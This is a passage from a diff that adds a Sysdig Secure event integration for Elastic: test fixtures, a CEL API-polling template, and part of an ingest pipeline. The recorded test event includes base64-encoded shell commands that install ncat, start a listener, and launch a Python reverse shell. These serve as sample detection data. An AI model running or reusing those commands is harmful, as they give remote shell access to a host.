container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=4094247 proc.cwd=/ proc.ppid=4093769 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1744772461104588229 proc.ppid.ts=1744772400850031947 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)\",\"policyId\":10569534,\"ruleName\":\"My test rule custom\",\"ruleSubType\":0,\"ruleTags\":[\"My-tag-custom-1-hello-world\",\"MITTRE-WHATEVER\"],\"ruleType\":6,\"type\":\"workloadRuntimeDetection\"},\"description\":\"This is just a dumb policy to test custom policies\",\"engine\":\"falco\",\"id\":\"1a36a012345678998765432108f1e03e\",\"labels\":{\"cloudProvider.account.id\":\"012345678912\",\"cloudProvider.name\":\"gcp\",\"cloudProvider.region\":\"us-central1\",\"container.image.digest\":\"sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a\",\"container.image.id\":\"ef0f72a55bd2\",\"container.image.repo\":\"docker.io/library/python\",\"container.image.tag\":\"3.9.18-slim\",\"container.label.io.kubernetes.container.name\":\"shell-scripting\",\"container.label.io.kubernetes.pod.name\":\"shell-scripting-29079540-cqf5n\",\"container.label.io.kubernetes.pod.namespace\":\"default\",\"container.name\":\"shell-scripting\",\"gcp.location\":\"us-central1\",\"gcp.projectId\":\"012345678912\",\"host.hostName\":\"gke-cluster-gcp-demo-san-default-pool-12345678-abcd\",\"host.mac\":\"01:00:5e:90:10:00\",\"kubernetes.cluster.name\":\"gke-alliances-demo-6\",\"kubernetes.cronJob.name\":\"shell-scripting\",\"kubernetes.job.name\":\"shell-scripting-29079540\",\"kubernetes.namespace.name\":\"default\",\"kubernetes.node.name\":\"gke-cluster-gcp-demo-san-default-pool-12345678-abcd\",\"kubernetes.pod.name\":\"shell-scripting-12345678-abcde\",\"kubernetes.workload.name\":\"shell-scripting\",\"kubernetes.workload.type\":\"cronjob\"},\"name\":\"Manuel test policy\",\"originator\":\"policy\",\"rawEventCategory\":\"runtime\",\"rawEventOriginator\":\"linuxAgent\",\"severity\":4,\"source\":\"syscall\",\"sourceDetails\":{\"subType\":\"container\",\"type\":\"workload\"},\"timestamp\":1744772461195149800}", + "outcome": "success", + "provider": "syscall", + "severity": 4, + "type": [ + "info" + ] + }, + "group": { + "id": "0", + "name": "root" + }, + "host": { + "hostname": "gke-cluster-gcp-demo-san-default-pool-12345678-abcd", + "mac": [ + "01-00-5E-90-10-00" + ], + "name": "gke-cluster-gcp-demo-san-default-pool-12345678-abcd" + }, + "message": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=containerd-shim ggparent= gggparent= image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=4094247 proc.cwd=/ proc.ppid=4093769 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1744772461104588229 proc.ppid.ts=1744772400850031947 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "observer": { + "product": "Sysdig Secure", + "vendor": "Sysdig" + }, + "orchestrator": { + "cluster": { + "name": "gke-alliances-demo-6" + }, + "namespace": "default", + "resource": { + "name": "shell-scripting-12345678-abcde", + "parent": { + "type": "cronjob" + } + } + }, + "process": { + "command_line": "sh", + "executable": "/usr/bin/dash", + "hash": { + "sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6" + }, + "name": "sh", + "parent": { + "command_line": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "name": "bash", + "pid": 4093769, + "start": "2025-04-16T03:00:00.850031947Z" + }, + "pid": 4094247, + "start": "2025-04-16T03:01:01.104588229Z", + "working_directory": "/" + }, + "related": { + "hash": [ + "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6", + "aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a" + ], + "hosts": [ + "gke-cluster-gcp-demo-san-default-pool-12345678-abcd" + ], + "user": [ + "root", + "0" + ] + }, + "rule": { + "description": "This is just a dumb policy to test custom policies", + "name": "My test rule custom", + "ruleset": "Manuel test policy" + }, + "sysdig": { + "event": { + "category": "runtime", + "content": { + "fields": { + "container": { + "image": { + "repository": "docker.io/library/python" + }, + "name": "shell-scripting" + }, + "evt": { + "res": "SUCCESS", + "type": "execve" + }, + "group": { + "gid": "0", + "name": "root" + }, + "proc": { + "cmdline": "sh", + "cwd": "/", + "exepath": "/usr/bin/dash", + "hash": { + "sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6" + }, + "name": "sh", + "pcmdline": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "pid": 4094247, + "pid_ts": "2025-04-16T03:01:01.104588229Z", + "pname": "bash", + "ppid": 4093769, + "ppid_ts": "2025-04-16T03:00:00.850031947Z", + "sid": "1" + }, + "user": { + "name": "root", + "uid": "0" + } + }, + "origin": "Secure UI", + "output": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=containerd-shim ggparent= gggparent= image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=4094247 proc.cwd=/ proc.ppid=4093769 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1744772461104588229 proc.ppid.ts=1744772400850031947 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "policy_id": "10569534", + "rule_name": "My test rule custom", + "rule_sub_type": 0, + "rule_tags": [ + "My-tag-custom-1-hello-world", + "MITTRE-WHATEVER" + ], + "rule_type": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This is just a dumb policy to test custom policies", + "engine": "falco", + "id": "1a36a012345678998765432108f1e03e", + "labels": { + "cloud_provider": { + "account": { + "id": "012345678912" + }, + "name": "gcp", + "region": "us-central1" + }, + "container": { + "image": { + "digest": "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a", + "id": "ef0f72a55bd2", + "repo": "docker.io/library/python", + "tag": "3.9.18-slim" + }, + "label": { + "io": { + "kubernetes": { + "container": { + "name": "shell-scripting" + }, + "pod": { + "name": "shell-scripting-29079540-cqf5n", + "namespace": "default" + } + } + } + }, + "name": "shell-scripting" + }, + "gcp": { + "location": "us-central1", + "project_id": "012345678912" + }, + "host": { + "host_name": "gke-cluster-gcp-demo-san-default-pool-12345678-abcd", + "mac": "01-00-5E-90-10-00" + }, + "kubernetes": { + "cluster": { + "name": "gke-alliances-demo-6" + }, + "cron_job": { + "name": "shell-scripting" + }, + "job": { + "name": "shell-scripting-29079540" + }, + "namespace": { + "name": "default" + }, + "node": { + "name": "gke-cluster-gcp-demo-san-default-pool-12345678-abcd" + }, + "pod": { + "name": "shell-scripting-12345678-abcde" + }, + "workload": { + "name": "shell-scripting", + "type": "cronjob" + } + } + }, + "name": "Manuel test policy", + "originator": "policy", + "raw_event_category": "runtime", + "raw_event_originator": "linuxAgent", + "severity": 4, + "severity_value": "Medium", + "source": "syscall", + "source_details": { + "sub_type": "container", + "type": "workload" + }, + "timestamp": "2025-04-16T03:01:01.1951498Z" + } + }, + "tags": [ + "preserve_duplicate_custom_fields" + ], + "user": { + "id": "0", + "name": "root" + } + } + ] +} diff --git a/packages/sysdig/data_stream/event/_dev/test/system/test-default-config.yml b/packages/sysdig/data_stream/event/_dev/test/system/test-default-config.yml new file mode 100644 index 00000000000..b24dbaf41ea --- /dev/null +++ b/packages/sysdig/data_stream/event/_dev/test/system/test-default-config.yml @@ -0,0 +1,11 @@ +input: cel +service: sysdig +vars: + url: http://{{Hostname}}:{{Port}} + api_token: xxxx +data_stream: + vars: + preserve_original_event: true + batch_size: 2 +assert: + hit_count: 5 diff --git a/packages/sysdig/data_stream/event/agent/stream/cel.yml.hbs b/packages/sysdig/data_stream/event/agent/stream/cel.yml.hbs new file mode 100644 index 00000000000..55d69e99a2e --- /dev/null +++ b/packages/sysdig/data_stream/event/agent/stream/cel.yml.hbs @@ -0,0 +1,102 @@ +config_version: 2 +interval: {{interval}} +resource.tracer: + enabled: {{enable_request_tracer}} + filename: "../../logs/cel/http-request-trace-*.ndjson" + maxbackups: 5 +{{#if proxy_url}} +resource.proxy_url: {{proxy_url}} +{{/if}} +{{#if ssl}} +resource.ssl: {{ssl}} +{{/if}} +{{#if http_client_timeout}} +resource.timeout: {{http_client_timeout}} +{{/if}} +{{#if max_executions}} +max_executions: {{max_executions}} +{{/if}} +resource.url: {{url}} +state: + initial_interval: {{initial_interval}} + batch_size: {{batch_size}} + api_token: {{api_token}} +redact: + fields: + - api_token +program: | + ( + state.?want_more.orValue(false) ? + {} + : + { + "start_time": state.?cursor.last_timestamp.orValue(int(timestamp((now - duration(state.initial_interval))))*1000000000), + "end_time": int(timestamp(now))*1000000000, + } + ).as(filter, state.with( + request("GET", + state.url.trim_right("/") + "/secure/events/v1/events?" + { + ?"from": filter.?start_time.optMap(v, [string(v)]), + ?"to": filter.?end_time.optMap(v, [string(v)]), + ?"cursor": state.?page.next.optMap(v, [v]), + "limit": [string(state.batch_size)], + }.format_query() + ).with({ + "Header":{ + "Authorization": ["Bearer " + state.api_token], + }, + }).do_request().as(resp, resp.StatusCode == 200 ? + bytes(resp.Body).decode_json().as(body, { + "events": body.data.map(e, { + "message": e.encode_json(), + }), + "cursor": { + ?"last_timestamp": ( + has(body.page.next) ? + state.?cursor.last_timestamp + : + state.?end_time.or(filter.?end_time) + ) + }, + ?"end_time": filter.?end_time, + "page": { + ?"next": body.?page.next, + }, + "want_more": has(body.page.next), + }) + : + { + "events": { + "error": { + "code": string(resp.StatusCode), + "id": string(resp.Status), + "message": "GET " + state.url.trim_right("/") + "/secure/events/v1/events: " + ( + size(resp.Body) != 0 ? + string(resp.Body) + : + string(resp.Status) + ' (' + string(resp.StatusCode) + ')' + ), + }, + }, + "want_more": false, + "page": {}, + } + ) + )) +tags: +{{#if preserve_original_event}} + - preserve_original_event +{{/if}} +{{#if preserve_duplicate_custom_fields}} + - preserve_duplicate_custom_fields +{{/if}} +{{#each tags as |tag|}} + - {{tag}} +{{/each}} +{{#contains "forwarded" tags}} +publisher_pipeline.disable_host: true +{{/contains}} +{{#if processors}} +processors: +{{processors}} +{{/if}} diff --git a/packages/sysdig/data_stream/event/elasticsearch/ingest_pipeline/default.yml b/packages/sysdig/data_stream/event/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 00000000000..e9011b30726 --- /dev/null +++ b/packages/sysdig/data_stream/event/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,1467 @@ +--- +description: Pipeline for processing security event logs. +processors: + - set: + field: ecs.version + tag: set_ecs_version + value: 8.11.0 + - fail: + tag: data_collection_error + if: ctx.error?.message != null && ctx.message == null && ctx.event?.original == null + message: error message set and no data to process. + - rename: + field: message + tag: rename_message_to_event_original + target_field: event.original + ignore_missing: true + description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document. + if: ctx.event?.original == null + - remove: + field: message + tag: remove_message + ignore_missing: true + description: The `message` field is no longer required if the document has an `event.original` field. + if: ctx.event?.original != null + - json: + field: event.original + tag: json_event_original + target_field: json + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: observer.vendor + tag: set_observer_vendor + value: Sysdig + - set: + field: observer.product + tag: set_observer_product + value: Sysdig Secure + - set: + field: event.kind + tag: set_event_kind + value: event + - append: + field: event.type + tag: append_info_to_event_type + value: info + - foreach: + field: json.actions + tag: foreach_json_actions + if: ctx.json?.actions instanceof List + processor: + convert: + field: _ingest._value.afterEventNs + tag: convert_actions_afterEventNs_to_long + target_field: _ingest._value.after_event_ns + type: long + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.actions + tag: foreach_json_actions + if: ctx.json?.actions instanceof List + processor: + convert: + field: _ingest._value.beforeEventNs + tag: convert_actions_beforeEventNs_to_long + target_field: _ingest._value.before_event_ns + type: long + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.actions + tag: foreach_json_actions + if: ctx.json?.actions instanceof List + processor: + convert: + field: _ingest._value.isSuccessful + tag: convert_actions_isSuccessful_to_boolean + target_field: _ingest._value.is_successful + type: boolean + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.actions + tag: foreach_json_actions + if: ctx.json?.actions instanceof List + processor: + rename: + field: _ingest._value.errMsg + tag: rename_actions_errMsg + target_field: _ingest._value.err_msg + ignore_missing: true + - foreach: + field: json.actions + tag: foreach_json_actions + if: ctx.json?.actions instanceof List + processor: + remove: + field: + - _ingest._value.afterEventNs + - _ingest._value.beforeEventNs + - _ingest._value.isSuccessful + tag: remove_actions + ignore_missing: true + - rename: + field: json.actions + tag: rename_actions + target_field: sysdig.event.actions + ignore_missing: true + - rename: + field: json.category + tag: rename_category + target_field: sysdig.event.category + ignore_missing: true + - rename: + field: json.content.clusterName + tag: rename_content_clusterName + target_field: sysdig.event.content.cluster_name + ignore_missing: true + - rename: + field: json.content.command + tag: rename_content_command + target_field: sysdig.event.content.command + ignore_missing: true + - convert: + field: json.content.detectedClassProbability + tag: convert_content_detectedClassProbability_to_double + target_field: sysdig.event.content.detected_class_probability + type: double + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.content.exe + tag: rename_content_exe + target_field: sysdig.event.content.exe + ignore_missing: true + - rename: + field: json.content.fields + tag: rename_content_fields + target_field: sysdig.event.content.fields + ignore_missing: true + - dot_expander: + field: proc.pid.ts + tag: dot_expander_proc_pid_ts + path: sysdig.event.content.fields + if: ctx.sysdig?.event?.content?.fields['proc.pid.ts'] != null + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: sysdig.event.content.fields.proc.pid.ts + tag: rename_content_fields_proc_pid_ts + target_field: sysdig.event.content.fields.proc.pid_ts + ignore_missing: true + - dot_expander: + field: proc.ppid.ts + tag: dot_expander_proc_ppid_ts + path: sysdig.event.content.fields + if: ctx.sysdig?.event?.content?.fields['proc.ppid.ts'] != null + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: sysdig.event.content.fields.proc.ppid.ts + tag: rename_content_fields_proc_ppid_ts + target_field: sysdig.event.content.fields.proc.ppid_ts + ignore_missing: true + - dot_expander: + field: ct.user + tag: dot_expander_ct_user + path: sysdig.event.content.fields + if: ctx.sysdig?.event?.content?.fields['ct.user'] != null + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: sysdig.event.content.fields.ct.user + tag: rename_content_fields_ct_user + target_field: sysdig.event.content.fields.ct.user.value + ignore_missing: true + - dot_expander: + field: '*' + tag: dot_expander_content_fields + path: sysdig.event.content.fields + override: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: sysdig.event.content.fields.aws.accountId + tag: convert_content_fields_aws_accountId_to_string + target_field: sysdig.event.content.fields.aws.account_id + type: string + ignore_missing: true + - rename: + field: sysdig.event.content.fields.aws.eventName + tag: rename_content_fields_aws_event_name + target_field: sysdig.event.content.fields.aws.event_name + ignore_missing: true + - convert: + field: sysdig.event.content.fields.aws.sourceIP + tag: convert_content_fields_aws_sourceIP_to_ip + target_field: sysdig.event.content.fields.aws.source_ip + type: ip + ignore_missing: true + if: ctx.sysdig?.event?.content?.fields?.aws?.source_ip != '' + on_failure: + - rename: + field: sysdig.event.content.fields.aws.sourceIP + tag: rename_content_fields_aws_sourceIP + target_field: sysdig.event.content.fields.aws.source_domain + ignore_missing: true + - append: + field: related.ip + tag: append_content_fields_aws_source_ip_into_related_ip + value: '{{{sysdig.event.content.fields.aws.source_ip}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.aws?.source_ip != null + - append: + field: related.user + tag: append_content_fields_aws_source_ip_into_related_user + value: '{{{sysdig.event.content.fields.aws.user}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.aws?.user != null + - set: + field: container.id + tag: set_container_id_from_content_fields_container_id + copy_from: sysdig.event.content.fields.container.id + ignore_empty_value: true + - set: + field: container.image.name + tag: set_container_image_name_from_content_fields_container_image_repository + copy_from: sysdig.event.content.fields.container.image.repository + ignore_empty_value: true + - append: + field: container.image.tag + tag: append_content_fields_aws_source_ip_into_container_image_tag + value: '{{{sysdig.event.content.fields.container.image.tag}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.container?.image?.tag != null + - set: + field: container.name + tag: set_container_name_from_content_fields_container_name + copy_from: sysdig.event.content.fields.container.name + ignore_empty_value: true + - convert: + field: sysdig.event.content.fields.container.privileged + tag: convert_content_fields_container_privileged_to_boolean + type: boolean + ignore_missing: true + on_failure: + - remove: + field: sysdig.event.content.fields.container.privileged + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: container.security_context.privileged + tag: set_container_security_context_privileged_from_content_fields_container_privileged + copy_from: sysdig.event.content.fields.container.privileged + ignore_empty_value: true + - append: + field: related.hosts + tag: append_content_fields_ct_request_host_into_related_hosts + value: '{{{sysdig.event.content.fields.ct.request.host}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.ct?.request?.host != null + - convert: + field: sysdig.event.content.fields.ct.srcip + tag: convert_content_fields_ct_srcip_to_ip + type: ip + ignore_missing: true + if: ctx.sysdig?.event?.content?.fields?.ct?.srcip != '' + on_failure: + - rename: + field: sysdig.event.content.fields.ct.srcip + tag: rename_content_fields_ct_srcip + target_field: sysdig.event.content.fields.ct.srcdomain + ignore_missing: true + - append: + field: related.ip + tag: append_content_fields_ct_srcip_into_related_ip + value: '{{{sysdig.event.content.fields.ct.srcip}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.ct?.srcip != null + - append: + field: related.user + tag: append_content_fields_ct_user_value_into_related_user + value: '{{{sysdig.event.content.fields.ct.user.value}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.ct?.user?.value != null + - convert: + field: sysdig.event.content.fields.ct.user.accountid + tag: convert_content_fields_ct_user_accountid_to_string + type: string + ignore_missing: true + - append: + field: related.user + tag: append_content_fields_ct_user_accountid_into_related_user + value: '{{{sysdig.event.content.fields.ct.user.accountid}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.ct?.user?.accountid != null + - set: + field: event.outcome + tag: set_event_outcome_to_success + value: success + if: ctx.sysdig?.event?.content?.fields?.evt?.res != null && ctx.sysdig.event.content.fields.evt.res.equalsIgnoreCase('success') + - set: + field: event.outcome + tag: set_event_outcome_to_failure + value: failure + if: ctx.sysdig?.event?.content?.fields?.evt?.res != null && ctx.sysdig.event.content.fields.evt.res.equalsIgnoreCase('failure') + - convert: + field: sysdig.event.content.fields.fd.sip + tag: convert_content_fields_fd_sip_to_ip + type: ip + ignore_missing: true + if: ctx.sysdig?.event?.content?.fields?.fd?.sip != '' + on_failure: + - remove: + field: sysdig.event.content.fields.fd.sip + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: related.ip + tag: append_content_fields_fd_sip_into_related_ip + value: '{{{sysdig.event.content.fields.fd.sip}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.fd?.sip != null + - convert: + field: sysdig.event.content.fields.fd.sport + tag: convert_content_fields_fd_sport_to_long + type: long + ignore_missing: true + on_failure: + - remove: + field: sysdig.event.content.fields.fd.sport + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: sysdig.event.content.fields.group.gid + tag: convert_content_fields_group_gid_to_string + type: string + ignore_missing: true + - set: + field: group.id + tag: set_group_id_from_content_fields_group_gid + copy_from: sysdig.event.content.fields.group.gid + ignore_empty_value: true + - set: + field: group.name + tag: set_group_name_from_content_fields_group_name + copy_from: sysdig.event.content.fields.group.name + ignore_empty_value: true + - set: + field: process.parent.parent.command_line + tag: set_process_parent_parent_command_line_from_content_fields_proc_acmdline[2] + copy_from: sysdig.event.content.fields.proc.acmdline[2] + ignore_empty_value: true + - set: + field: process.parent.parent.parent.command_line + tag: set_process_parent_parent_parent_command_line_from_content_fields_proc_acmdline[3] + copy_from: sysdig.event.content.fields.proc.acmdline[3] + ignore_empty_value: true + - set: + field: process.parent.parent.parent.parent.command_line + tag: set_process_parent_parent_parent_parent_command_line_from_content_fields_proc_acmdline[4] + copy_from: sysdig.event.content.fields.proc.acmdline[4] + ignore_empty_value: true + - set: + field: process.parent.parent.executable + tag: set_process_parent_parent_executable_from_content_fields_proc_aexepath[2] + copy_from: sysdig.event.content.fields.proc.aexepath[2] + ignore_empty_value: true + - set: + field: process.parent.parent.parent.executable + tag: set_process_parent_parent_parent_executable_from_content_fields_proc_aexepath[3] + copy_from: sysdig.event.content.fields.proc.aexepath[3] + ignore_empty_value: true + - set: + field: process.parent.parent.parent.parent.executable + tag: set_process_parent_parent_parent_parent_executable_from_content_fields_proc_aexepath[4] + copy_from: sysdig.event.content.fields.proc.aexepath[4] + ignore_empty_value: true + - set: + field: process.parent.parent.name + tag: set_process_parent_parent_name_from_content_fields_proc_aname[2] + copy_from: sysdig.event.content.fields.proc.aname[2] + ignore_empty_value: true + - set: + field: process.parent.parent.parent.name + tag: set_process_parent_parent_parent_name_from_content_fields_proc_aname[3] + copy_from: sysdig.event.content.fields.proc.aname[3] + ignore_empty_value: true + - set: + field: process.parent.parent.parent.parent.name + tag: set_process_parent_parent_parent_parent_name_from_content_fields_proc_aname[4] + copy_from: sysdig.event.content.fields.proc.aname[4] + ignore_empty_value: true + - append: + field: process.args + tag: append_content_fields_proc_args_into_process_args + value: '{{{sysdig.event.content.fields.proc.args}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.proc?.args != null + - set: + field: process.command_line + tag: set_process_command_line_from_content_fields_proc_cmdline + copy_from: sysdig.event.content.fields.proc.cmdline + ignore_empty_value: true + - set: + field: process.working_directory + tag: set_process_working_directory_from_content_fields_proc_cwd + copy_from: sysdig.event.content.fields.proc.cwd + ignore_empty_value: true + - set: + field: process.executable + tag: set_process_executable_from_content_fields_proc_exepath + copy_from: sysdig.event.content.fields.proc.exepath + ignore_empty_value: true + - set: + field: process.hash.sha256 + tag: set_process_hash_sha256_from_content_fields_proc_hash_sha256 + copy_from: sysdig.event.content.fields.proc.hash.sha256 + ignore_empty_value: true + - append: + field: related.hash + tag: append_content_fields_proc_hash_sha256_into_related_hash + value: '{{{sysdig.event.content.fields.proc.hash.sha256}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.proc?.hash?.sha256 != null + - set: + field: process.name + tag: set_process_name_from_content_fields_proc_name + copy_from: sysdig.event.content.fields.proc.name + ignore_empty_value: true + - set: + field: process.parent.command_line + tag: set_process_parent_command_line_from_content_fields_proc_pcmdline + copy_from: sysdig.event.content.fields.proc.pcmdline + ignore_empty_value: true + - set: + field: process.parent.executable + tag: set_process_parent_executable_from_content_fields_proc_pexepath + copy_from: sysdig.event.content.fields.proc.pexepath + ignore_empty_value: true + - convert: + field: sysdig.event.content.fields.proc.pid + tag: convert_content_fields_proc_pid_to_long + type: long + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: process.pid + tag: set_process_pid_from_content_fields_proc_pid + copy_from: sysdig.event.content.fields.proc.pid + ignore_empty_value: true + - script: + description: Parse date fields. + tag: script_parse_date_fields + lang: painless + source: > + def parseDate(def rawtimestamp) { + long timestamp; + if (rawtimestamp instanceof String) { + timestamp = Long.parseLong(rawtimestamp); + } else if (rawtimestamp instanceof long) { + timestamp = (long) rawtimestamp; + } + if (String.valueOf(timestamp).length() == 19) { + long epoch = timestamp / 1000000000L; + long seconds = timestamp % 1000000000L; + return Instant.ofEpochSecond(epoch, seconds).atZone(ZoneOffset.UTC); + } + return ''; + } + if (ctx.json?.timestamp != null) { + ctx.json.timestamp = parseDate(ctx.json.timestamp); + } + if (ctx.sysdig?.event?.content?.fields?.proc?.pid_ts != null) { + ctx.sysdig.event.content.fields.proc.pid_ts = parseDate(ctx.sysdig.event.content.fields.proc.pid_ts); + } + if (ctx.sysdig?.event?.content?.fields?.proc?.ppid_ts != null) { + ctx.sysdig.event.content.fields.proc.ppid_ts = parseDate(ctx.sysdig.event.content.fields.proc.ppid_ts); + } + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.timestamp + tag: 